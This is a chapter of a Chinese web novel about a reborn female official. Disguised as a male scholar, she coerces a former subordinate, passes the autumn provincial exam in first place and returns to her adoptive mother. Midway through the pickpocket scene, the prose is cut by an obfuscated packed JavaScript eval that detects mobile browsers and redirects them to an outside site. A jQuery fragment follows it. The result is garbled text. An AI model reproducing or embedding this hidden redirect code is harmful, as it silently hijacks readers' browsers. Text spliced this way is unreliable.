赵枭见着他也有一瞬的错愕，旋即回神，先朝顾枕云行了一礼。
顾枕云笑道：“张侍郎竟同你是故交，你这孩子，老夫竟不知你有这样的本事。”
赵枭扯出个笑来：“先生谬赞。”
张珩的眼神很复杂，赵枭只望去一眼，便明白了什么。
“张兄远道而来，”赵枭看他一眼，“我二人许久未见，还请先生准许我二人闲话片刻。”
顾枕云扶须而笑，颔首应下。
赵枭率先出门，张珩紧随其后。
出了玄机院，张珩再也无法忍受：“赵…——”
“把嘴闭严了。”赵枭侧过脸，阴沉地睇视他。
张珩被这份僭越喝得噤了声。
然而他心中却并无不满，反倒有种近乎疯癫的兴奋感。
他闭紧了嘴，跟在赵枭身后，一路来到听雨轩。
裴如玉与阿瞒去了膳堂，还未归来。
两人一前一后进了赵枭的厢房，门一掩，赵枭就背身立在桌案旁，摆出一个负手而立的姿势来，修长的指节在背后摩挲。
这是个张珩再熟悉不过的姿势。
前世的赵枭，盛怒亦或训斥，都会摆出这个姿势，这完全是下意识的举动。
他盯着那背影，遏制住心中的激动，缓慢地跪地膝行至她脚边，呢喃道：“大人……是您吗……您回来了……”
赵枭听罢，倏地低笑一声，戏谑中又夹着几分自嘲。
她俯视桌案，开口问道：“你叫我什么？”
张珩忙行了一个官礼，诚恳道：“下官张珩，见过大人。”
赵枭转过身来，看着张珩那副模样，有那么一瞬间，她想起自己曾经翻云覆雨，指点江山的神朗来。
张珩聪慧，从入仕为官在她手下任职其她便知道。
可聪明过头，只会作茧自缚。
如今她刻意改名换姓，为的就是彻底隐去赵枭之名，若被人发现，极有可能招来祸患。
赵枭沉声道：“把头抬起来。”
张珩闻言，缓缓支起了脑袋。
那一双美目此刻有些许晶莹浸出，似笑似泣，其情难以言表。
“大人，真的是您，您真的回来了……”
他此刻脑中一片混沌，不知该作何感想。
眼前十九岁的少年人是一年前就已尸首分离的赵枭，他感到惊愕的同时又十分庆幸。
纵不知是鬼神乱力亦或苍天有情，他朝思暮想的那人竟然真的回到他身边，立在他眼前，叫他无暇顾及其它，只想牢牢攀附住她。
张珩沉浸在失而复得的情绪里，完全没注意赵枭已解下腰间的丝帛大带，牢牢攥在手里。
“大人，我——”
话还未必，赵枭就眼疾手快地将大带缠在他脖颈处，用劲一勒，登时叫张珩噤声，满面惊恐地挣扎。
赵枭用脚蹬住他的肩膀，将大带狠狠朝后一拉，张珩连挣扎的力气也没有，只能徒劳无功地扯着脖颈处的那条大带，像濒死的鱼似地踢蹬。
剧痛与昏厥袭来间，他瞧见赵枭的脸。
没有怜悯，没有犹豫。
他深知她是背负血海深仇重活一次之人，此后刀山火海，步履维艰，处处谨慎，如今身份败露，叫她怎能不赶尽杀绝。
张珩逐渐窒息的脑海里涌出的竟不是要去死的恐惧，而是一抹难以言喻的愧疚。
上一世，他眼真真看着她去死，是他无能；这一世，若能死在她手下，便也算赎罪。
张珩停止了挣扎，只默默看着赵枭，流露出复杂深沉的悲怆来。
赵枭的动作猛然一顿。
杀他，竟不反抗吗？还做出一副从容赴死的模样来。
在张珩快要昏死过去之际，赵枭终于松了手。
“咳咳！”
张珩猛然间呼吸一瞬，旋即跪在地上，捂着胸肺猛咳。
赵枭看着他，沉默稍时后，便将大带系于腰间，又是那副翩翩君子的模样。
张珩有些讶异，俯于地间，抬起通红狭长的凤眼望她：“大……大人……”
“死比活着容易多了，”赵枭将大带扶正，“我留你还有用。”
张珩闻言，心中掠过一丝侥幸。
还有用……如果自己这步废棋对她真的还有用，就再好不过了。
张珩低声道：“大人请吩咐，下官定当竭尽全力。”
“临近秋闱，我欲参加上京府尹乡试，个中缘由想必你也清楚。”赵枭道。
张珩见她说正事，忙跪正回话：“下官明白。大人还有何吩咐？”
赵枭：“我要你去接近何党外围，找陆少轩弄一张荐牒，替我通过验身。”
“接近……何党？”张珩有些为难。
这是要他战队派系，可他一心只想跟着赵枭。
赵枭见状，提点一番：“若要与何党相争，必须悬剑于其项背间，趁其不备，攻其心防。若你真心辅佐，就该为我做这把剑。”
“况且你官至侍郎，年岁尚可，更能借何党之力进入内阁，往后仕途明朗，于你自己也多有好处，只在一棵树上吊死没什么好结果。”
张珩私心却并不在意这些虚名，只想到若能进入内阁，日后也能祝赵枭一臂之力。
他作揖，恭敬道：“下官明白。”
赵枭闻言，制止道：“还有，改掉你这口癖。现如今我只是书院的士子，你我二人便是故交，没有上官下官之分。”
张珩被这连番说教讲得有些许羞愧，头更低下去：“是，我明白了。”
赵枭又一言不发，沉沉地打量他。
她起身背对着张珩，翻箱倒柜摸出一套茶具来，左右一阵忙乎。
张珩跪在她身后，看不太清她在做什么。
半晌，她沏了杯茶递给他：“喝吧。”
张珩还以为是拿来叫他润肺，心中稍喜，不假思索端起来一饮而尽。
“多谢大……多谢赵兄。”张珩把杯子递过去。
他脸上的喜悦尚未散去，赵枭便在上头抛下一击重雷：“……真是蠢材，那茶里有毒。”
张珩错愕抬头，就见赵枭从张开手掌，里头正躺着一包药粉。
“我精通药理，你难道不知？”赵枭嗤笑，“如此不谨慎，怨不得你中招。”
张珩如遭雷击，登时愣在原地。
“这是南蛮慢毒，无医可治，解药在我这，”赵枭又替自己斟茶饮下，“你若敢走漏我的身份，那你就等着肝胆俱裂，血尽而亡，若赶秋闱前把荐牒交于我，我就给你解药。”
张珩听罢，心中又怕又怨。
怕她将自己弃若敝履，又怨她对自己百般猜忌。
然而无论如何，他已成为赵枭的掌中之物，全无脱身的可能，只能凄然应下：“是，我明白。”
赵枭心中有些恼他今日不请自问，前来揭穿她的身份，便不欲与他多费口：“下山去罢。”
张珩被下逐客令，一时略感慌张，绞尽脑汁想留下来。
于是乎，从袖间掏出裴如月亲手绣的腕垫递给她。
“这是裴家二小姐交与我，叫我转赠于您的。”张珩双手奉上。
赵枭怔愣一瞬。
那裴如月竟不曾食言，真的绣了腕垫给她。
饶是远观，也能瞧出那腕垫针脚细密，做工精致，定是废了不少心思才大功告成。
赵枭暗自叹息，将那腕垫接过。
日后有机会，再送些别的回礼抵了这次人情吧。
张珩临行前，还求了赵枭一副墨宝，赵枭从她练的那沓宣纸中抽出一张来撂给他，这才叫他如获至宝地离去。
乙巳年，癸末月。
所谓露沾蔬草白，天气转青高，农事闲暇，不违农时，正逢金秋，乃是秋闱好时节。
转眼间，半年时光如白驹过隙。
在书院夜以继日地修习叫赵枭胸有成竹。赶考前，顾枕云还替她打点行囊，万千叮嘱，似是比她还要紧张。
赵枭整装待发，提前两日与众士子下山赶考。
等一行人到了上京，才傻了眼。
满城客栈都挤满了从天南海北赶至京城参加秋闱的莘莘学子，根本无从下榻，家住上京的便大摇大摆地回家，家住京郊乡县的便只能愁眉苦脸，求同窗接济。
裴如玉见状，以为赵枭这个穷鬼自然也无处下榻，想借此套个近乎，凑到赵枭身旁：“赵兄，不若你同我一起回家，替你行个方便啊。”
赵枭睨他一眼：“不必。”
阿瞒不满，小声嘀咕：“不识好歹。”
赵枭不欲争辩，街头摩肩接踵间，她闪身挤进攒动的人群，消失不见了。
裴如玉留不住她，只好望着她离去的背影，略显失望，扭了阿瞒一把：“下回不准多嘴，把人都气跑了。”
阿瞒简直百口莫辩，却也无从得知他着了什么疯魔，只得悻悻应声。
赵枭一路回到兰香阁。
店内宾客络绎不绝，周兰香忙得不亦乐乎，瘦小却坚韧的背影穿梭在人群之间，只是脸上再无曾经的怯懦，反倒显出几分游刃有余来。
她正忙着和一位客官讲价，一时未曾注意到赵枭。
赵枭也不欲打搅，轻车熟路地摸到后院，就见锦绣繁华两丫头正拿着笤帚一丝不苟地洒扫庭除。
锦绣眼尖，抬头见着赵枭，眼中有一瞬间的错愕，旋即小嘴一撇，撂了笤帚冲进她怀里:“姐姐！”
繁华见状，也跟着跑过去。
赵枭从善如流，一手一个将两孩子抱在怀里，真心实意笑了两声。
她颠了颠两个孩子：“是不是吃重了些？嗯？”
繁华红了脸，锦绣大方承认：“周姨娘每日都替我们做好吃的，自然要吃胖的！”
赵枭笑道：“是得多吃点，这才能长得高长的壮呢。”
赵枭陪着两人闹了一阵，周兰香便揉着酸软的肩头从后院进来：“锦绣，繁华，去街上买些菜蔬来，娘——”
她边说边抬头，见着赵枭的那一瞬，如鲠在喉，立时愣在原地。
赵枭朝她望去，淡笑道：“娘，女儿回来了。”
周兰香错愕一瞬，旋即朝她走去，满含思念地朝她望去，泪如雨下，泣不成声：“笛儿，你瘦了...”
赵枭心中有些许动容，淡笑道：“是长高了，娘，您别担心。”
万千思念凝在喉头，周兰香一时哽咽，只能掩面而泣。
锦绣繁华凑上去安慰，两双小手替她抹泪，把胭脂都蹭花了。
繁华笑道：“周姨娘成大花猫啦！”
一番话叫气氛活络起来，周兰香也破涕为笑，一家人相互依偎，说了许多掏心窝子的体己话。
听闻赵枭要科举入仕，周兰香并不阻拦，只是温柔地望着她，替她把鬓发挽在耳后：“想做什么就去做，若不成，娘还在这，兰香阁永远是你的家啊。”
家.....
孤女出生，何以为家。
赵枭重活两世，却从未有人如周兰香一般对她说这样一番话，心中微动，眼眶有些湿热。
她起身，让风把那点微不足道的泪吹干。
“娘，好容易回来一趟，想吃你做的菜了，我去买些回来。”
带着周兰香给的一兜银元，她略有些仓皇地出了门。
连面见天颜，受谏于群臣吏民时都不曾失态的她，却每每在周兰香这样一个深闺妇人面前有了丢盔弃甲的趋势，可见人不可以一言蔽之，更不能以貌取人。
她在街坊之中穿梭，在烟火气与百姓的叫卖声中挑选菜蔬，正聚精会神之际，一个身量矮小的人，衣衫褴褛的人倏地撞上她。
赵枭闷哼一声，皱眉俯视，却见是个瘦弱的乞儿。
她正欲发作，就见那乞儿绕过她，田鼠一般从她□□溜走。
赵枭一惊，伸手摸兜，才发现钱袋早不翼而飞。
赵枭心道不好，抬脚就追，奈何那小贼脚下生风，她连个影子都摸不上，只能眼睁睁看着小贼穿梭在错综复杂的航道中，不翼而飞。
赵枭暗骂一声，不曾想在这里栽了跟头。
她不死心地从巷道追进去，想寻些蛛丝马迹。
奈何徒劳无功，半个人影也没找到。
赵枭只好自认倒霉，正一脸郁气地往回走时，却见听见些声响，她循声望去，却见在一个猪肉摊前，那乞儿被一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16705032|189156||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
身形高大魁梧的姑娘擒在手中，鸡仔似地提起来。
“好你个小五子，又不干好事，这钱是你偷的吧！”
“不，不是，是我捡的......”
那女子显然不信，扬手对着小五子的屁股狠狠招呼了几掌，疼得他哭爹喊娘。
“哎呦呦，屠老三，你，你丧良心！”
屠三不停手，冷声道：“我若不管你，任你偷盗，那才是丧良心！”
说罢，巴掌兜头盖脸地招呼下去，周遭的摊贩瞧见，纷纷侧目而视，倒吸凉气，却无一人敢上前阻拦。
赵枭在一旁观望，直到小五子被揍的涕泗横流，口不能言，她才走上前去。
屠三见了她，停了手，小五子趴在木凳上啜泣，见赵枭来，抽噎道：“官人，我，我错了，我不该，不该偷您的钱....”
屠三闻言，便把钱袋还给赵枭，扯出个笑来：“辛苦相公走这一遭，都是我管教不周，我将才把这贼头一顿好打.....那个，您看您都来了，我便割些猪肉送您，您消消气，高抬贵手......”
赵枭打量她，方才见她出手，像是练家子。
她摆手：“你不必担心，我不会报官。”
眼见心思被戳穿，屠三也不尴尬，爽朗一笑，拱手作揖：“如此便多谢官人！”
赵枭问道：“你是什么人？为何这周遭的人都怕你？”
屠三：“小人乃这条街坊的行头，因习武，胆子大些，司坊官便点我做了行头，管理这一片。”
赵枭看一眼小五子：“他是惯犯？”
屠三闻言并不遮羞，如实相告：“是，这小子从小没爹没娘，跟个狗似的，靠人施舍才撑到现在。”
屠三又添一句：“他就是手痒，本性不坏……怪我没教好他。”
赵枭：“世道如此，非你之错。”
她冲屠三行了一礼：“多谢姑娘今日出手，有缘再会。”
说罢，转身离去。
“唉，官人！猪肉不要啦？”屠三在她身后喊。
赵枭不回头，只摆摆手，继续朝前走去。
八月初九，乃秋闱乡试。
众士子均在前一日进了贡院，进行验身。
赵枭手握顾枕云与陆少轩的荐牒，巡绰官不敢为难，允许她不必排队等候底衙搜身，只将她带入签押房，派几位亲信搜检。
巡绰官开罪不起陆少轩，只叫她脱了外袍，就着中衣上下其手一摸了事。
赵枭来前请易容师做了万全之策，只要不脱中衣，胸前与胯|下与男人无甚区别。
亲信还要解开发髻查验，巡绰官一掌推开他：“行了，别误了时辰。”
旋即笑吟吟看着赵枭：“赵公子，您请吧。”
八月初九至十五，士子们相继进入贡院的号舍，他们要在这四方的狭窄天地待个三天两夜，夜以继日的提笔书写，哪怕筋疲力尽也不敢停手。
待十五佳节过后，错失与亲人团聚机会的士子们陆续出了贡院，神色或喜或悲，均成双成对，交头接耳。
惟有赵枭一脸平静，孤身一人逆流而行。
两世为人，再度科举。
每一步都走得稳扎稳打，每日的不懈苦读与案牍劳形绝不会辜负她。
赵枭在兰香阁小住几日。
张珩挑了个好天气来寻她，低头闷声朝她要解药。
赵枭听罢，一时没有答话。
张珩见她久久没有动静，惊愕又恐惧地抬头看她，却发现她抱臂瞧他，眼里带着几分戏谑。
“你怎么也不想想，我一个书生，上哪儿去弄什么南蛮慢毒。”
“一个唬人的把戏，不过骗骗你，叫你专心替我办事。”
张珩的脸上有一瞬的错愕，旋即又释怀了。
他早该明白的。
赵枭是最会御人之道的。
至桂榜初放，贡院门前的照壁挤着人山人海，士卒护卫着刚刚张贴完毕、还带着墨香的桂榜。
人群瞬间沸腾，有人尖叫狂喜，有人捶胸顿足，有人当场晕厥。
报喜人们抢先看榜，旋即飞奔向新科举人的客栈与住所报喜，高声讨要喜钱。
时值九月，桂子飘香。
赵枭正在兰香阁后院临帖，周兰香侍弄花草，窗外忽闻街口传来一阵由远及近的骚动，锣鼓与喧嚣声浪般涌来。
“捷报！恭贺赵老爷高中戊寅科上京府乡试第一名解元！”
报喜声倏地划破长空，房门被敲的震天响。
“赵解元，快开门呐！小人来给您报喜啦！”
赵枭呼吸一滞，手中的狼毫颤抖，掉下一滴墨来，浸透了宣纸，旋即深吸一口气，与周兰香一同出门。
院门已被好奇的邻居们，从里到外围得水泄不通。
为首的报喜人头戴红巾，满面红光，身后跟着数个敲锣打鼓的帮闲，端的是一派花团锦簇。
见赵枭素衣布衫，愣了一下，旋即抖开手中大红捷报，用尽丹田之气再次高唱：
“捷报！贵府老爷赵枭，高中上京乡试第一名解元！京报连登黄甲！”
人群登时发出惊异。
“真是他！”
“了不得了！文曲星下凡了！”
“我看咱这条巷子干脆改名叫解元巷得啦！”
报喜人笑道：“恭喜解元公！小的们讨您个喜钱，沾沾您的文运！”
周兰香闻言，忙转身进屋，将一个厚厚的红封与一袋碎银搁在报喜人手里，喜极而泣道：“我家今日有大喜事，这些钱诸位拿去，请诸位吃酒！”
报喜人颠了颠那极有分量的银元，登时笑得喜笑颜开：“谢解元公厚赏！解元公大气！您老前程万里，公侯万代！”
说罢，一堆人又敲锣打鼓，轰轰烈烈地离去，上别处报喜。
左右邻舍都迎上来恭维，谁也想不到周兰香这样一个妇人却能教出这样赵枭这样的才子来，登时将她捧到了天上去。
赵枭望着周兰香脸上挥之不去的喜悦和难以言表的自豪，心中些许宽慰。
一面应付恭维，一面握紧埋在袖间的拳头。
这才是开始，往后，她还要走得更高，更远。